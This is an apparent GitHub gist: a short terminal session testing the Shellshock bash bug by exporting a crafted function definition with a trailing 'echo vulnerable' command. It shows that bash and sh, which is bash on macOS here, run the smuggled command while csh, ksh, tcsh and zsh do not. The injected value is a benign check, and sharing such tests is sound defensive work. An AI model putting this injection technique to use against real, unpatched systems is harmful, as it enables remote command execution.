Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
It's a bash thing
~ export x="() { :;}; echo vulnerable"
~ bash -c "echo hi"
vulnerable
hi
~ sh -c "echo hi"
vulnerable
hi
~ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
~ csh -c "echo hi"
hi
~ ksh -c "echo hi"
hi
~ tcsh -c "echo hi"
hi
~ zsh -c "echo hi"
hi
~
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.